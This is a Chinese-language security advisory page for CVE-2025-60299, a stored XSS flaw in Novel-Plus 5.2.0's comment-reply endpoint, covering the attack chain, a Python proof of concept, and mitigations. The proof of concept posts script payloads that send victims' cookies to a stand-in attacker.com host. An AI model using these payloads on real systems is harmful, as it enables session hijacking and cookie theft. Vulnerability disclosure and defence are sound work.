IPBUF安全漏洞报告
English
CVE-2025-60299 CVSS 5.4 中危

CVE-2025-60299:Novel-Plus存储型XSS漏洞

披露日期: 2025-10-08

漏洞信息

漏洞编号
CVE-2025-60299
漏洞类型
存储型跨站脚本攻击(Stored XSS)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Novel-Plus

相关标签

XSS存储型XSSStored XSS跨站脚本攻击Novel-PlusJavaWeb应用安全评论注入CVE-2025-60299中危漏洞

漏洞概述

CVE-2025-60299是Novel-Plus 5.2.0版本中存在的一个存储型跨站脚本(Stored XSS)漏洞。该漏洞位于Novel-Plus的/book/addCommentReply端点,允许经过身份验证的低权限用户通过replyContent参数注入恶意的JavaScript代码。当用户在书籍评论区进行回复操作时,恶意payload会被存储到后端数据库中。随后,当其他用户浏览受影响的评论线程时,存储的恶意脚本将在其浏览器环境中自动执行,从而实现对受害者会话的劫持、敏感信息窃取或执行其他恶意操作。该漏洞的CVSS 3.1评分为5.4分,属于中等严重等级。由于该漏洞属于存储型XSS,影响范围广泛且持久,所有访问受影响评论页面的用户都可能成为攻击目标。Novel-Plus是一个基于Java开发的小说阅读管理系统,广泛用于内容发布和读者互动场景,因此该漏洞对依赖该平台的网站运营者和用户构成潜在的安全威胁。攻击者可以利用此漏洞窃取用户Cookie、会话令牌,或者通过伪造页面内容进行钓鱼攻击,甚至在特定条件下提升权限或执行管理员级别的操作。

技术细节

该漏洞的根本原因在于Novel-Plus 5.2.0版本的/book/addCommentReply端点未对用户输入的replyContent参数进行充分的输出编码和过滤。具体而言,当用户提交书籍评论回复时,前端将回复内容通过HTTP请求发送到后端,后端直接将用户输入的内容存储到数据库中,而没有对其中可能包含的HTML标签和JavaScript代码进行转义或过滤。当其他用户请求查看该评论线程时,后端从数据库中读取存储的回复内容并直接返回给浏览器进行渲染,浏览器将恶意脚本作为合法内容执行,从而触发XSS攻击。从技术层面分析,攻击者需要具备有效的用户凭证(低权限账户即可),通过构造包含恶意JavaScript的payload(例如<script>alert(document.cookie)</script>或更复杂的窃取脚本),将其作为回复内容提交。服务器端未实施内容安全策略(CSP)头或输入消毒机制,导致payload得以持久化存储。由于漏洞影响的是评论回复功能,攻击者可以精心设计payload,使其在管理员查看评论时触发,从而实现权限提升或后台接管。修复方案应包括对所有用户输入实施严格的HTML实体编码,部署内容安全策略头,以及使用成熟的XSS过滤库进行输入验证和输出转义。

攻击链分析

STEP 1
步骤1:获取有效凭证
攻击者首先注册或获取一个Novel-Plus平台的低权限用户账号。由于该漏洞需要认证(PR:L),攻击者必须拥有有效的登录凭证才能访问/book/addCommentReply端点。
STEP 2
步骤2:构造恶意payload
攻击者精心构造包含恶意JavaScript代码的XSS payload,常见的payload形式包括窃取Cookie的脚本、重定向到钓鱼页面的代码,或者用于窃取会话令牌的fetch请求。payload通过replyContent参数提交。
STEP 3
步骤3:提交恶意回复
攻击者登录系统后,访问目标书籍的评论区,选择一个评论进行回复,将构造好的恶意payload作为回复内容提交至/book/addCommentReply端点。服务器未对输入进行过滤,直接将payload存储到数据库中。
STEP 4
步骤4:等待受害者触发
当其他用户(包括管理员)浏览包含恶意回复的评论线程时,浏览器从服务器获取评论内容,其中包含未转义的恶意JavaScript代码,浏览器将其作为合法脚本执行。
STEP 5
步骤5:执行恶意操作
恶意脚本在受害者浏览器中执行,可以窃取会话Cookie、劫持用户会话、进行钓鱼攻击,或者利用管理员权限执行更高级别的操作,如后台管理权限接管、敏感数据窃取等。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-60299 - Novel-Plus Stored XSS PoC # Vulnerability: Stored XSS via /book/addCommentReply endpoint # Parameter: replyContent import requests TARGET_URL = "http://target-novel-plus.com" LOGIN_URL = f"{TARGET_URL}/login" REPLY_URL = f"{TARGET_URL}/book/addCommentReply" # Step 1: Login with valid credentials (low privilege user) session = requests.Session() login_data = { "username": "attacker_user", "password": "attacker_password" } session.post(LOGIN_URL, data=login_data) # Step 2: Craft malicious XSS payload # The payload will be stored in the database and executed # when other users view the comment thread xss_payload = '<script>document.location="http://attacker.com/steal?cookie="+document.cookie</script>' # Alternative payloads for different scenarios: # payload2 = '<img src=x onerror=alert(document.cookie)>' # payload3 = '<svg onload=fetch("http://attacker.com/log?data="+document.cookie)>' # Step 3: Submit the malicious reply via the vulnerable endpoint reply_data = { "bookId": "1", # Target book ID "commentId": "100", # Parent comment ID to reply to "replyContent": xss_payload # Malicious JavaScript payload } response = session.post(REPLY_URL, data=reply_data) if response.status_code == 200: print("[+] XSS payload successfully stored in the database") print("[+] When other users view this comment thread, the script will execute") else: print(f"[-] Failed to submit payload. Status code: {response.status_code}") # Step 4: Verification - fetch the comment page to confirm payload storage comment_page = session.get(f"{TARGET_URL}/book/bookDetail/1") if xss_payload in comment_page.text: print("[+] Payload confirmed stored - vulnerability is exploitable")

影响范围

Novel-Plus 5.2.0

防御指南

临时缓解措施
在官方补丁发布之前,建议采取以下临时缓解措施:1)在前端对用户输入的评论内容进行初步过滤,移除或转义<script>、onerror、onload等危险标签和事件属性;2)在后端对replyContent参数实施严格的输入验证和输出编码,使用HTML实体编码将特殊字符(如<、>、&、"、')转换为对应的实体引用;3)配置Web应用防火墙(WAF)规则,拦截包含常见XSS payload的请求;4)部署内容安全策略(CSP)头,限制内联脚本执行;5)将会话Cookie设置为HTTPOnly属性,降低XSS窃取会话的风险;6)监控异常的用户行为和评论内容,及时发现和清理已存储的恶意payload。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表